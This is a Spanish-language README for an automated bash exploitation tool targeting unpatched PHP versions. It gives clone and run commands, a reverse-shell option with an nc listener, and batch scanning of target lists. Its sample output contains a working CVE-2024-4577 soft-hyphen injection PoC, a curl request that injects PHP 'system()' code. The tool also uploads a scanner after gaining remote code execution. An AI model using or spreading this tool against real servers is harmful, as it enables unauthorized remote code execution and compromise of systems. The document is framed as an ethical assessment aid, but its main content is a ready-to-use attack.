
Detección y explotación automatizadas de vulnerabilidades críticas de PHP (CVE-2024-4577 bypass, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178)
Detección y explotación automatizada de vulnerabilidades críticas de PHP (bypass CVE-2024-4577, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178)
PHP8.1.x_Exploit.sh es una herramienta de evaluación de seguridad de un solo archivo, sin configuración que descubre automáticamente endpoints PHP vulnerables y explota cuatro CVEs de alto impacto que afectan a versiones de PHP anteriores a 8.1.34 (publicada en diciembre de 2024). No requiere ningún crafting manual de payloads – solo proporciona una URL y el script hace el resto, desde el rastreo hasta la ejecución remota de código. Completamente autopiloto – detecta y explota automáticamente sin intervención del usuario.
-d y bypass con guion suave %AD.getimagesize()
array_merge.parallel si está disponible, sino funciona correctamente.No se requieren privilegios de root – la herramienta solo envía peticiones HTTP y opcionalmente ejecuta un reverse shell (requiere un listener en tu máquina).
git clone https://github.com/gl1tch0x1/PHP_8.1.x_Exploit.git
cd PHP_8.1.x_Exploit
chmod +x PHP8.1.x_Exploit.sh
Objetivo único (más común)
./PHP8.1.x_Exploit.sh -u http://target.example.com
Objetivo único con reverse shell (CVE-2024-4577)
./PHP8.1.x_Exploit.sh -u http://vulnerable-win-server.local/ --revshell 192.168.1.100 4444
Luego en tu máquina:
nc -lvnp 4444
Escaneo por lotes de múltiples objetivos
./PHP8.1.x_Exploit.sh -l targets.txt --threads 10
Ejemplo targets.txt:
http://192.168.1.1/
https://10.0.0.5:8080/
http://internal-app.company.com
Modo solo escaneo (sin intentos de explotación)
./PHP8.1.x_Exploit.sh -u http://target.com/ --scan-only
Guardar informe en archivo
./PHP8.1.x_Exploit.sh -u http://target.com/ -o results.txt
Salida verbose / debug
./PHP8.1.x_Exploit.sh -u http://target.com/ --verbose
./PHP8.1.x_Exploit.sh -u http://target.com/ --debug # muy ruidoso
Nota: CVE‑2025‑14180 y CVE‑2025‑14178 solo pueden detectarse con precisión desde dentro del servidor (pruebas locales). El script logra esto subiendo un escáner después de un exploit CGI exitoso.
[*] Scanning: http://192.168.1.100/
[*] OS: windows
[*] PHP version: 8.1.33
[*] Testing CVE-2024-4577 on http://192.168.1.100/cgi-bin/php-cgi.exe
[✓] CVE-2024-4577: VULNERABLE (soft hyphen injection)
[*] Attempting reverse shell to 192.168.1.5 4444
...
[*] Testing CVE-2025-14177 via http://192.168.1.100/upload.php
[-] CVE-2025-14177: Potential heap leak detected!
...
[*] Running deep local scan via RCE...
PHP_VERSION=8.1.33
CVE-2025-14180: VULNERABLE
CVE-2025-14178: VULNERABLE
CVE-2025-14177: VULNERABLE (leak: 486561704c65616b21...)
===================== Report for http://192.168.1.100/ =====================
OS: windows
PHP: 8.1.33
CVE-2024-4577: EXPLOITABLE at http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input
PoC: curl -X POST --data '<?php system($_GET["c"]); ?>' 'http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input&c=whoami'
CVE-2025-14177: VULNERABLE
CVE-2025-14180/14178: VULNERABLE (see deep scan output)
==============================================================
--revshell abre un socket desde el objetivo hacia tu máquina. Asegúrate de tener el derecho de conexión de retorno.Las solicitudes de incorporación de cambios, informes de errores y sugerencias de funciones son bienvenidas. Por favor, sigue:
parallel y sin él.GNU General Public License v3.0 – consulta el archivo LICENSE.
Hecho con 🧠 para la comunidad de seguridad. Úsalo éticamente.
| Dependencia | Propósito | ¿Normalmente instalado? |
|---|
bash 4.0+ | Intérprete de scripts | Sí (Linux/macOS) |
curl | Peticiones HTTP | Sí |
grep, sed, awk | Procesamiento de texto | Sí |
mktemp | Creación de archivos temporales | Sí |
(opcional) parallel | Escaneo por lotes más rápido | No (pero recomendado) |
(opcional) jq | Formateo de salida JSON | No |
| Fase | Acción |
|---|
| 1 | Huella digital – SO y versión de PHP a partir de cabeceras y sondeos. |
| 2 | Rastreo – extrae atributos href y action de la página de inicio. |
| 3 | Descubrimiento de CGI – prueba rutas comunes y enlaces rastreados que parecen CGI. |
| 4 | Prueba de CVE‑2024‑4577 – inyecta payloads -d y %AD; si tiene éxito, ejecuta comandos o envía reverse shell. |
| 5 | Descubrimiento de endpoints de subida – verifica rutas de subida comunes y formularios que contengan "upload"/"image". |
| 6 | Prueba de CVE‑2025‑14177 – crea un JPEG malformado, lo envía por POST a cada endpoint de subida, detecta fugas de heap. |
| 7 | Escaneo interno profundo – si se logra RCE, sube un script PHP escáner y lo ejecuta para probar CVE‑2025‑14180 / CVE‑2025‑14178. |
| 8 | Informe – imprime un resumen y opcionalmente escribe en un archivo. |
| Opción | Descripción |
|---|
-u URL | URL de un solo objetivo (ej. http://example.com/) |
-l FILE | Archivo por lotes con una URL por línea |
--scan-only | Solo detectar – no explotar (sin reverse shell, sin subidas de payload) |
-o FILE | Escribir informe final en FILE |
--threads N | Número de hilos paralelos para escaneo por lotes (predeterminado: 5) |
--timeout N | Tiempo de espera HTTP en segundos (predeterminado: 10) |
--no-color | Deshabilitar salida coloreada |
--verbose | Mostrar progreso detallado |
--debug | Mostrar cada petición HTTP (puede exponer datos sensibles) |
--revshell IP PORT | Intentar reverse shell cuando se encuentre CVE‑2024‑4577 |
-h, --help | Mostrar ayuda y salir |
| CVE | Gravedad | Impacto | Vector de explotación | Corregido en |
|---|
| CVE‑2024‑4577 (bypass) | Crítico | RCE | Inyección de argumentos CGI en Windows (mapeo de guion suave) | PHP 8.1.34 |
| CVE‑2025‑14177 | Media/Alta | Fuga de información (memoria heap) | JPEG malformado pasado a getimagesize() | PHP 8.1.34 |
| CVE‑2025‑14180 | Alta | DoS (desreferencia NULL) | PDO PostgreSQL con prepares emulados + parámetro malformado \x99 | PHP 8.1.34 |
| CVE‑2025‑14178 | Alta (8.2) | DoS / posible corrupción de memoria | array_merge() con arrays enormes causando desbordamiento de entero | PHP 8.1.34 |
| Problema | Solución |
|---|
curl: command not found | Instala curl |
GNU parallel not found | Ignorado – el script funciona sin él (escaneos por lotes más lentos) |
| No se encuentran endpoints CGI | El objetivo puede no usar CGI, o está detrás de un WAF que bloquea las banderas -d |
| CVE-2024-4577 funciona pero el reverse shell falla | Verifica el firewall; prueba con un payload más simple usando --scan-only y un listener manual nc |
| La prueba de fuga de imagen siempre devuelve "No leak" | El endpoint de subida puede no usar getimagesize(), o limpia datos binarios |
| La subida del escáner local falla | Puede que la raíz web no tenga permisos de escritura; el script intenta escribir en el mismo directorio que el script CGI |